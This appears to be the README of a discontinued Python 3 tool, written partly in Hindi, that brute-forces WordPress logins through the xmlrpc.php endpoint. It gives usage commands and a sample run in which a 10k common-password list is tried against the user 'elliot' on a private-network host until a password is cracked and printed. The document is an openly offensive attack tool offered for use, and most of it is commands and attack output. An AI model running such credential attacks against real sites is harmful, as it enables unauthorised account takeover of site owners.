kavishgr/xmlrpc-bruteforcerएक XMLRPC brute forcer जो Wordpress को लक्षित करता है, Python 3 में लिखा गया। (बंद किया गया)
python3 xmlrcpbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt username
python3 xmlrpcbruteforce.py http://wordpress.org/xmlrpc.php passwords.txt userlist.txt ( >>in progess<<)
यदि आपको xml.etree.ElementTree.ParseError मिलता है:
MacBook-Pro: kavish$ python3 xmlrpcbruteforce.py http://192.168.100.34/xmlrpc.php 10k-most-common.txt elliot
---------------Examining Target--------------------
[>] Target is vulnerable.
--=[Target: http://192.168.100.34/xmlrpc.php]=--
[...Bruteforcing...]
--=[Tried: 1000 passwords]=--
--=[Tried: 2000 passwords]=--
--=[Tried: 3000 passwords]=--
--------------- BRUTEFORCE SUCCESSFULL ---------------
--=[User found]=--
Login: elliot
Password: ER28-0652
--=[Exiting...]=--